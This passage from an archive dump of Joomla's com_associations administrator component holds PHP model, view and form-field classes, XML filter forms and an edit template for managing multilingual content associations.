	 * @var    string
	 *
	 * @since  3.7.0
	 */
	protected $type = 'ItemType';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  array  The field option objects as a nested array in groups.
	 *
	 * @since   3.7.0
	 *
	 * @throws  UnexpectedValueException
	 */
	protected function getGroups()
	{
		$options    = array();
		$extensions = AssociationsHelper::getSupportedExtensions();

		foreach ($extensions as $extension)
		{
			if ($extension->get('associationssupport') === true)
			{
				foreach ($extension->get('types') as $type)
				{
					$context = $extension->get('component') . '.' . $type->get('name');
					$options[$extension->get('title')][] = JHtml::_('select.option', $context, $type->get('title'));
				}
			}
		}

		// Sort by alpha order.
		uksort($options, 'strnatcmp');

		// Add options to parent array.
		return array_merge(parent::getGroups(), $options);
	}
}
com_associations/models/fields/modalassociation.php000060400000006557152455305260016714 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Supports a modal item picker.
 *
 * @since  3.7.0
 */
class JFormFieldModalAssociation extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   3.7.0
	 */
	protected $type = 'Modal_Association';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.7.0
	 */
	protected function getInput()
	{
		// The active item id field.
		$value = (int) $this->value > 0 ? (int) $this->value : '';

		// Build the script.
		$script = array();

		// Select button script
		$script[] = 'function jSelectAssociation_' . $this->id . '(id) {';
		$script[] = '   target = document.getElementById("target-association");';
		$script[] = '   document.getElementById("target-association").src = target.getAttribute("data-editurl") + '
						. '"&task=" + target.getAttribute("data-item") + ".edit" + "&id=" + id';
		$script[] = '	jQuery("#associationSelect' . $this->id . 'Modal").modal("hide");';
		$script[] = '}';

		// Add the script to the document head.
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));

		// Setup variables for display.
		$html = array();

		$linkAssociations = 'index.php?option=com_associations&amp;view=associations&amp;layout=modal&amp;tmpl=component'
			. '&amp;forcedItemType=' . JFactory::getApplication()->input->get('itemtype', '', 'string') . '&amp;function=jSelectAssociation_' . $this->id;

		$linkAssociations .= "&amp;forcedLanguage=' + document.getElementById('target-association').getAttribute('data-language') + '";

		$urlSelect = $linkAssociations . '&amp;' . JSession::getFormToken() . '=1';

		// Select custom association button
		$html[] = '<button'
			. ' type="button"'
			. ' id="select-change"'
			. ' class="btn' . ($value ? '' : ' hidden') . '"'
			. ' data-toggle="modal"'
			. ' data-select="' . JText::_('COM_ASSOCIATIONS_SELECT_TARGET') . '"'
			. ' data-change="' . JText::_('COM_ASSOCIATIONS_CHANGE_TARGET') . '"'
			. ' data-target="#associationSelect' . $this->id . 'Modal">'
			. '<span class="icon-file" aria-hidden="true"></span>'
			. '<span id="select-change-text"></span>'
			. '</button>';

		// Clear association button
		$html[] = '<button'
			. ' type="button"'
			. ' class="btn' . ($value ? '' : ' hidden') . '"'
			. ' onclick="return Joomla.submitbutton(\'undo-association\');"'
			. ' id="remove-assoc">'
			. '<span class="icon-remove" aria-hidden="true"></span>' . JText::_('JCLEAR')
			. '</button>';

		$html[] = '<input type="hidden" id="' . $this->id . '_id" name="' . $this->name . '" value="' . $value . '" />';

		// Select custom association modal
		$html[] = JHtml::_(
			'bootstrap.renderModal',
			'associationSelect' . $this->id . 'Modal',
			array(
				'title'       => JText::_('COM_ASSOCIATIONS_SELECT_TARGET'),
				'backdrop'    => 'static',
				'url'         => $urlSelect,
				'height'      => '400px',
				'width'       => '800px',
				'bodyHeight'  => '70',
				'modalWidth'  => '80',
				'footer'      => '<button type="button" class="btn" data-dismiss="modal">'
						. JText::_("JLIB_HTML_BEHAVIOR_CLOSE") . '</button>',
			)
		);

		return implode("\n", $html);
	}
}
com_associations/models/associations.php000060400000034156152455305260014610 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of article records.
 *
 * @since  3.7.0
 */
class AssociationsModelAssociations extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   3.7.0
	 *
	 * @see     JController
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id',
				'title',
				'ordering',
				'itemtype',
				'language',
				'association',
				'menutype',
				'menutype_title',
				'level',
				'state',
				'category_id',
				'category_title',
				'access',
				'access_level',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function populateState($ordering = 'ordering', $direction = 'asc')
	{
		$app = JFactory::getApplication();

		$forcedLanguage = $app->input->get('forcedLanguage', '', 'cmd');
		$forcedItemType = $app->input->get('forcedItemType', '', 'string');

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Adjust the context to support forced languages.
		if ($forcedLanguage)
		{
			$this->context .= '.' . $forcedLanguage;
		}

		// Adjust the context to support forced component item types.
		if ($forcedItemType)
		{
			$this->context .= '.' . $forcedItemType;
		}

		$this->setState('itemtype', $this->getUserStateFromRequest($this->context . '.itemtype', 'itemtype', '', 'string'));
		$this->setState('language', $this->getUserStateFromRequest($this->context . '.language', 'language', '', 'string'));

		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd'));
		$this->setState('filter.category_id', $this->getUserStateFromRequest($this->context . '.filter.category_id', 'filter_category_id', '', 'cmd'));
		$this->setState('filter.menutype', $this->getUserStateFromRequest($this->context . '.filter.menutype', 'filter_menutype', '', 'string'));
		$this->setState('filter.access', $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access', '', 'string'));
		$this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', '', 'cmd'));

		// List state information.
		parent::populateState($ordering, $direction);

		// Force a language.
		if (!empty($forcedLanguage))
		{
			$this->setState('language', $forcedLanguage);
		}

		// Force a component item type.
		if (!empty($forcedItemType))
		{
			$this->setState('itemtype', $forcedItemType);
		}
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   3.7.0
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('itemtype');
		$id .= ':' . $this->getState('language');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . $this->getState('filter.category_id');
		$id .= ':' . $this->getState('filter.menutype');
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.level');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery|boolean
	 *
	 * @since   3.7.0
	 */
	protected function getListQuery()
	{
		$type         = null;

		list($extensionName, $typeName) = explode('.', $this->state->get('itemtype'));

		$extension = AssociationsHelper::getSupportedExtension($extensionName);
		$types     = $extension->get('types');

		if (array_key_exists($typeName, $types))
		{
			$type = $types[$typeName];
		}

		if (is_null($type))
		{
			return false;
		}

		// Create a new query object.
		$user     = JFactory::getUser();
		$db       = $this->getDbo();
		$query    = $db->getQuery(true);

		$details = $type->get('details');

		if (!array_key_exists('support', $details))
		{
			return false;
		}

		$support = $details['support'];

		if (!array_key_exists('fields', $details))
		{
			return false;
		}

		$fields = $details['fields'];

		// Main query.
		$query->select($db->qn($fields['id'], 'id'))
			->select($db->qn($fields['title'], 'title'))
			->select($db->qn($fields['alias'], 'alias'));

		if (!array_key_exists('tables', $details))
		{
			return false;
		}

		$tables = $details['tables'];

		foreach ($tables as $key => $table)
		{
			$query->from($db->qn($table, $key));
		}

		if (!array_key_exists('joins', $details))
		{
			return false;
		}

		$joins = $details['joins'];

		foreach ($joins as $join)
		{
			$query->join($join['type'], $db->qn($join['condition']));
		}

		// Join over the language.
		$query->select($db->qn($fields['language'], 'language'))
			->select($db->qn('l.title', 'language_title'))
			->select($db->qn('l.image', 'language_image'))
			->join('LEFT', $db->qn('#__languages', 'l') . ' ON ' . $db->qn('l.lang_code') . ' = ' . $db->qn($fields['language']));

		// Join over the associations.
		$query->select('COUNT(' . $db->qn('asso2.id') . ') > 1 AS ' . $db->qn('association'))
			->join(
				'LEFT',
				$db->qn('#__associations', 'asso') . ' ON ' . $db->qn('asso.id') . ' = ' . $db->qn($fields['id'])
				. ' AND ' . $db->qn('asso.context') . ' = ' . $db->quote($extensionName . '.' . 'item')
			)
			->join('LEFT', $db->qn('#__associations', 'asso2') . ' ON ' . $db->qn('asso2.key') . ' = ' . $db->qn('asso.key'));

		// Prepare the group by clause.
		$groupby = array(
			$fields['id'],
			$fields['title'],
			$fields['language'],
			'l.title',
			'l.image',
		);

		// Select author for ACL checks.
		if (!empty($fields['created_user_id']))
		{
			$query->select($db->qn($fields['created_user_id'], 'created_user_id'));
		}

		// Select checked out data for check in checkins.
		if (!empty($fields['checked_out']) && !empty($fields['checked_out_time']))
		{
			$query->select($db->qn($fields['checked_out'], 'checked_out'))
				->select($db->qn($fields['checked_out_time'], 'checked_out_time'));

			// Join over the users.
			$query->select($db->qn('u.name', 'editor'))
				->join('LEFT', $db->qn('#__users', 'u') . ' ON ' . $db->qn('u.id') . ' = ' . $db->qn($fields['checked_out']));

			$groupby[] = 'u.name';
		}

		// If component item type supports ordering, select the ordering also.
		if (!empty($fields['ordering']))
		{
			$query->select($db->qn($fields['ordering'], 'ordering'));
		}

		// If component item type supports state, select the item state also.
		if (!empty($fields['state']))
		{
			$query->select($db->qn($fields['state'], 'state'));
		}

		// If component item type supports level, select the level also.
		if (!empty($fields['level']))
		{
			$query->select($db->qn($fields['level'], 'level'));
		}

		// If component item type supports categories, select the category also.
		if (!empty($fields['catid']))
		{
			$query->select($db->qn($fields['catid'], 'catid'));

			// Join over the categories.
			$query->select($db->qn('c.title', 'category_title'))
				->join('LEFT', $db->qn('#__categories', 'c') . ' ON ' . $db->qn('c.id') . ' = ' . $db->qn($fields['catid']));

			$groupby[] = 'c.title';
		}

		// If component item type supports menu type, select the menu type also.
		if (!empty($fields['menutype']))
		{
			$query->select($db->qn($fields['menutype'], 'menutype'));

			// Join over the menu types.
			$query->select($db->qn('mt.title', 'menutype_title'))
				->select($db->qn('mt.id', 'menutypeid'))
				->join('LEFT', $db->qn('#__menu_types', 'mt') . ' ON ' . $db->qn('mt.menutype') . ' = ' . $db->qn($fields['menutype']));

			$groupby[] = 'mt.title';
			$groupby[] = 'mt.id';
		}

		// If component item type supports access level, select the access level also.
		if (array_key_exists('acl', $support) && $support['acl'] == true && !empty($fields['access']))
		{
			$query->select($db->qn($fields['access'], 'access'));

			// Join over the access levels.
			$query->select($db->qn('ag.title', 'access_level'))
				->join('LEFT', $db->qn('#__viewlevels', 'ag') . ' ON ' . $db->qn('ag.id') . ' = ' . $db->qn($fields['access']));

			$groupby[] = 'ag.title';

			// Implement View Level Access.
			if (!$user->authorise('core.admin', $extensionName))
			{
				$query->where($fields['access'] . ' IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
			}
		}

		// If component item type is menus we need to remove the root item and the administrator menu.
		if ($extensionName === 'com_menus')
		{
			$query->where($db->qn($fields['id']) . ' > 1')
				->where($db->qn('a.client_id') . ' = 0');
		}

		// If component item type is category we need to remove all other component categories.
		if ($typeName === 'category')
		{
			$query->where($db->qn('a.extension') . ' = ' . $db->quote($extensionName));
		}

		// Filter on the language.
		if ($language = $this->getState('language'))
		{
			$query->where($db->qn($fields['language']) . ' = ' . $db->quote($language));
		}

		// Filter by item state.
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where($db->qn($fields['state']) . ' = ' . (int) $state);
		}
		elseif ($state === '')
		{
			$query->where($db->qn($fields['state']) . ' IN (0, 1)');
		}

		// Filter on the category.
		$baselevel = 1;

		if ($categoryId = $this->getState('filter.category_id'))
		{
			$categoryTable = JTable::getInstance('Category', 'JTable');
			$categoryTable->load($categoryId);
			$baselevel = (int) $categoryTable->level;

			$query->where($db->qn('c.lft') . ' >= ' . (int) $categoryTable->lft)
				->where($db->qn('c.rgt') . ' <= ' . (int) $categoryTable->rgt);
		}

		// Filter on the level.
		if ($level = $this->getState('filter.level'))
		{
			$query->where($db->qn('a.level') . ' <= ' . ((int) $level + (int) $baselevel - 1));
		}

		// Filter by menu type.
		if ($menutype = $this->getState('filter.menutype'))
		{
			$query->where($fields['menutype'] . ' = ' . $db->quote($menutype));
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where($fields['access'] . ' = ' . (int) $access);
		}

		// Filter by search in name.
		if ($search = $this->getState('filter.search'))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->qn($fields['id']) . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(' . $db->qn($fields['title']) . ' LIKE ' . $search
					. ' OR ' . $db->qn($fields['alias']) . ' LIKE ' . $search . ')'
				);
			}
		}

		// Add the group by clause
		$query->group($db->qn($groupby));

		// Add the list ordering clause
		$listOrdering  = $this->state->get('list.ordering', 'id');
		$orderDirn     = $this->state->get('list.direction', 'ASC');

		$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));

		return $query;
	}

	/**
	 * Delete associations from #__associations table.
	 *
	 * @param   string  $context  The associations context. Empty for all.
	 * @param   string  $key      The associations key. Empty for all.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.7.0
	 */
	public function purge($context = '', $key = '')
	{
		$app   = JFactory::getApplication();
		$db    = $this->getDbo();
		$query = $db->getQuery(true)->delete($db->qn('#__associations'));

		// Filter by associations context.
		if ($context)
		{
			$query->where($db->qn('context') . ' = ' . $db->quote($context));
		}

		// Filter by key.
		if ($key)
		{
			$query->where($db->qn('key') . ' = ' . $db->quote($key));
		}

		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			$app->enqueueMessage(JText::_('COM_ASSOCIATIONS_PURGE_FAILED'), 'error');

			return false;
		}

		$app->enqueueMessage(
			JText::_((int) $db->getAffectedRows() > 0 ? 'COM_ASSOCIATIONS_PURGE_SUCCESS' : 'COM_ASSOCIATIONS_PURGE_NONE'),
			'message'
		);

		return true;
	}

	/**
	 * Delete orphans from the #__associations table.
	 *
	 * @param   string  $context  The associations context. Empty for all.
	 * @param   string  $key      The associations key. Empty for all.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.7.0
	 */
	public function clean($context = '', $key = '')
	{
		$app   = JFactory::getApplication();
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->qn('key') . ', COUNT(*)')
			->from($db->qn('#__associations'))
			->group($db->qn('key'))
			->having('COUNT(*) = 1');

		// Filter by associations context.
		if ($context)
		{
			$query->where($db->qn('context') . ' = ' . $db->quote($context));
		}

		// Filter by key.
		if ($key)
		{
			$query->where($db->qn('key') . ' = ' . $db->quote($key));
		}

		$db->setQuery($query);

		$assocKeys = $db->loadObjectList();

		$count = 0;

		// We have orphans. Let's delete them.
		foreach ($assocKeys as $value)
		{
			$query->clear()
				->delete($db->qn('#__associations'))
				->where($db->qn('key') . ' = ' . $db->quote($value->key));

			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (JDatabaseExceptionExecuting $e)
			{
				$app->enqueueMessage(JText::_('COM_ASSOCIATIONS_DELETE_ORPHANS_FAILED'), 'error');

				return false;
			}

			$count += (int) $db->getAffectedRows();
		}

		$app->enqueueMessage(
			JText::_($count > 0 ? 'COM_ASSOCIATIONS_DELETE_ORPHANS_SUCCESS' : 'COM_ASSOCIATIONS_DELETE_ORPHANS_NONE'),
			'message'
		);

		return true;
	}
}
com_associations/models/forms/association.xml000060400000000665152455305260015562 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="itemlanguage"
			type="itemlanguage"
			label="COM_ASSOCIATIONS_ITEM_FIELD_LANGUAGE_LABEL"
			description="COM_ASSOCIATIONS_ITEM_FIELD_LANGUAGE_DESC"
			>
			<option value="">COM_ASSOCIATIONS_SELECT_TARGET_LANGUAGE</option>
		</field>

		<field
			name="modalassociation"
			type="modalassociation"
		/>
	</fieldset>

	<fields name="params">
	</fields>
</form>
com_associations/models/forms/filter_associations.xml000060400000005664152455305260017316 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="itemtype"
		type="itemtype"
		label="COM_ASSOCIATIONS_COMPONENT_SELECTOR_LABEL"
		description="COM_ASSOCIATIONS_COMPONENT_SELECTOR_DESC"
		filtermode="selector"
		onchange="jQuery('select[id^=\'filter_\']').val('');jQuery('select[id^=\'list_\']').val('');this.form.submit();"
		>
		<option value="">COM_ASSOCIATIONS_FILTER_SELECT_ITEM_TYPE</option>
	</field>

	<field
		name="language"
		type="contentlanguage"
		label="JOPTION_FILTER_LANGUAGE"
		description="JOPTION_FILTER_LANGUAGE_DESC"
		filtermode="selector"
		onchange="this.form.submit();"
		>
		<option value="">JOPTION_SELECT_LANGUAGE</option>
	</field>

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_ASSOCIATIONS_FILTER_SEARCH_LABEL"
			description="COM_ASSOCIATIONS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="state"
			type="status"
			label="JOPTION_FILTER_PUBLISHED"
			description="JOPTION_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="category_id"
			type="category"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			published="0,1,2"
			extension="dynamic"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_CATEGORY</option>
		</field>

		<field
			name="menutype"
			type="menu"
			label="COM_ASSOCIATIONS_FILTER_MENUTYPE_LABEL"
			description="COM_ASSOCIATIONS_FILTER_MENUTYPE_DESC"
			clientid="0"
			onchange="this.form.submit();"
			>
			<option value="">COM_ASSOCIATIONS_SELECT_MENU</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			default="id ASC"
			onchange="this.form.submit();"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="state ASC">JSTATUS_ASC</option>
			<option value="state DESC">JSTATUS_DESC</option>
			<option value="title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="access_level ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="access_level DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			default="25"
			class="input-mini"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_associations/views/association/tmpl/edit.php000060400000005763152455305260016202 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', 'select');

JHtml::_('script', 'com_associations/sidebyside.js', false, true);
JHtml::_('stylesheet', 'com_associations/sidebyside.css', array(), true);

$options = array(
			'layout'   => $this->app->input->get('layout', '', 'string'),
			'itemtype' => $this->itemtype,
			'id'       => $this->referenceId,
		);
?>
<button id="toogle-left-panel" class="btn btn-small"
		data-show-reference="<?php echo JText::_('COM_ASSOCIATIONS_EDIT_SHOW_REFERENCE'); ?>"
		data-hide-reference="<?php echo JText::_('COM_ASSOCIATIONS_EDIT_HIDE_REFERENCE'); ?>"><?php echo JText::_('COM_ASSOCIATIONS_EDIT_HIDE_REFERENCE'); ?>
</button>

<form action="<?php echo JRoute::_('index.php?option=com_associations&view=association&' . http_build_query($options)); ?>" method="post" name="adminForm" id="adminForm" data-associatedview="<?php echo $this->typeName; ?>">
	<div class="sidebyside">
		<div class="outer-panel" id="left-panel">
			<div class="inner-panel">
				<h3><?php echo JText::_('COM_ASSOCIATIONS_REFERENCE_ITEM'); ?></h3>
				<iframe id="reference-association" name="reference-association" title="reference-association"
					src="<?php echo JRoute::_($this->editUri . '&task=' . $this->typeName . '.edit&id=' . (int) $this->referenceId); ?>"
					height="400" width="400"
					data-action="edit"
					data-item="<?php echo $this->typeName; ?>"
					data-id="<?php echo $this->referenceId; ?>"
					data-title="<?php echo $this->referenceTitle; ?>"
					data-title-value="<?php echo $this->referenceTitleValue; ?>"
					data-language="<?php echo $this->referenceLanguage; ?>"
					data-editurl="<?php echo JRoute::_($this->editUri); ?>">
				</iframe>
			</div>
		</div>
		<div class="outer-panel" id="right-panel">
			<div class="inner-panel">
				<div class="language-selector">
					<h3 class="target-text"><?php echo JText::_('COM_ASSOCIATIONS_ASSOCIATED_ITEM'); ?></h3>
					<?php echo $this->form->getInput('modalassociation'); ?>
					<?php echo $this->form->getInput('itemlanguage'); ?>
				</div>
				<iframe id="target-association" name="target-association" title="target-association"
					src="<?php echo $this->defaultTargetSrc; ?>"
					height="400" width="400"
					data-action="<?php echo $this->targetAction; ?>"
					data-item="<?php echo $this->typeName; ?>"
					data-id="<?php echo $this->targetId; ?>"
					data-title="<?php echo $this->targetTitle; ?>"
					data-language="<?php echo $this->targetLanguage; ?>"
					data-editurl="<?php echo JRoute::_($this->editUri); ?>">
				</iframe>
			</div>
		</div>

	</div>

	<input type="hidden" name="task" value="" />
	<input type="hidden" name="target-id" id="target-id" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_associations/views/association/view.html.php000060400000013137152455305260016210 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * View class for a list of articles.
 *
 * @since  3.7.0
 */
class AssociationsViewAssociation extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var    array
	 *
	 * @since  3.7.0
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 *
	 * @since  3.7.0
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var    object
	 *
	 * @since  3.7.0
	 */
	protected $state;

	/**
	 * Selected item type properties.
	 *
	 * @var    Registry
	 *
	 * @since  3.7.0
	 */
	public $itemType = null;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->app  = JFactory::getApplication();
		$this->form = $this->get('Form');
		$input      = $this->app->input;
		$this->referenceId = $input->get('id', 0, 'int');

		list($extensionName, $typeName) = explode('.', $input->get('itemtype', '', 'string'));

		$extension = AssociationsHelper::getSupportedExtension($extensionName);
		$types     = $extension->get('types');

		if (array_key_exists($typeName, $types))
		{
			$this->type          = $types[$typeName];
			$this->typeSupports  = array();
			$details             = $this->type->get('details');
			$this->save2copy     = false;

			if (array_key_exists('support', $details))
			{
				$support = $details['support'];
				$this->typeSupports = $support;
			}

			if (!empty($this->typeSupports['save2copy']))
			{
				$this->save2copy = true;
			}
		}

		$this->extensionName = $extensionName;
		$this->typeName      = $typeName;
		$this->itemtype      = $extensionName . '.' . $typeName;

		$languageField = AssociationsHelper::getTypeFieldName($extensionName, $typeName, 'language');
		$referenceId   = $input->get('id', 0, 'int');
		$reference     = ArrayHelper::fromObject(AssociationsHelper::getItem($extensionName, $typeName, $referenceId));

		$this->referenceLanguage   = $reference[$languageField];
		$this->referenceTitle      = AssociationsHelper::getTypeFieldName($extensionName, $typeName, 'title');
		$this->referenceTitleValue = $reference[$this->referenceTitle];

		$options = array(
			'option'    => $typeName === 'category' ? 'com_categories' : $extensionName,
			'view'      => $typeName,
			'extension' => $extensionName,
			'tmpl'      => 'component',
		);

		// Reference and target edit links.
		$this->editUri = 'index.php?' . http_build_query($options);

		// Get target language.
		$this->targetId         = '0';
		$this->targetLanguage   = '';
		$this->defaultTargetSrc = '';
		$this->targetAction     = '';
		$this->targetTitle      = '';

		if ($target = $input->get('target', '', 'string'))
		{
			$matches = preg_split("#[\:]+#", $target);
			$this->targetAction     = $matches[2];
			$this->targetId         = $matches[1];
			$this->targetLanguage   = $matches[0];
			$this->targetTitle      = AssociationsHelper::getTypeFieldName($extensionName, $typeName, 'title');
			$task                   = $typeName . '.' . $this->targetAction;

			/* Let's put the target src into a variable to use in the javascript code
			*  to avoid race conditions when the reference iframe loads.
			*/
			$document = JFactory::getDocument();
			$document->addScriptOptions('targetSrc', JRoute::_($this->editUri . '&task=' . $task . '&id=' . (int) $this->targetId));
			$this->form->setValue('itemlanguage', '', $this->targetLanguage . ':' . $this->targetId . ':' . $this->targetAction);
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function addToolbar()
	{
		// Hide main menu.
		JFactory::getApplication()->input->set('hidemainmenu', 1);

		$helper = AssociationsHelper::getExtensionHelper($this->extensionName);
		$title  = $helper->getTypeTitle($this->typeName);

		$languageKey = strtoupper($this->extensionName . '_' . $title . 'S');

		if ($this->typeName === 'category')
		{
			$languageKey = strtoupper($this->extensionName) . '_CATEGORIES';
		}

		JToolbarHelper::title(JText::sprintf('COM_ASSOCIATIONS_TITLE_EDIT', JText::_($this->extensionName), JText::_($languageKey)), 'contract assoc');

		$bar = JToolbar::getInstance('toolbar');

		$bar->appendButton(
			'Custom', '<button onclick="Joomla.submitbutton(\'reference\')" '
			. 'class="btn btn-small btn-success"><span class="icon-apply icon-white" aria-hidden="true"></span>'
			. JText::_('COM_ASSOCIATIONS_SAVE_REFERENCE') . '</button>', 'reference'
		);

		$bar->appendButton(
			'Custom', '<button onclick="Joomla.submitbutton(\'target\')" '
			. 'class="btn btn-small btn-success"><span class="icon-apply icon-white" aria-hidden="true"></span>'
			. JText::_('COM_ASSOCIATIONS_SAVE_TARGET') . '</button>', 'target'
		);

		if ($this->typeName === 'category' || $this->extensionName === 'com_menus' || $this->save2copy === true)
		{
			JToolBarHelper::custom('copy', 'copy.png', '', 'COM_ASSOCIATIONS_COPY_REFERENCE', false);
		}

		JToolbarHelper::cancel('association.cancel', 'JTOOLBAR_CLOSE');
		JToolbarHelper::help('JHELP_COMPONENTS_ASSOCIATIONS_EDIT');

		JHtmlSidebar::setAction('index.php?option=com_associations');
	}
}
com_associations/views/associations/view.html.php000060400000014071152455305260016371 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of articles.
 *
 * @since  3.7.0
 */
class AssociationsViewAssociations extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var   array
	 *
	 * @since  3.7.0
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 *
	 * @since  3.7.0
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var    object
	 *
	 * @since  3.7.0
	 */
	protected $state;

	/**
	 * Selected item type properties.
	 *
	 * @var    Registry
	 *
	 * @since  3.7.0
	 */
	public $itemType = null;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function display($tpl = null)
	{
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		if (!JLanguageAssociations::isEnabled())
		{
			$link = JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . AssociationsHelper::getLanguagefilterPluginId());
			JFactory::getApplication()->enqueueMessage(JText::sprintf('COM_ASSOCIATIONS_ERROR_NO_ASSOC', $link), 'warning');
		}
		elseif ($this->state->get('itemtype') == '' || $this->state->get('language') == '')
		{
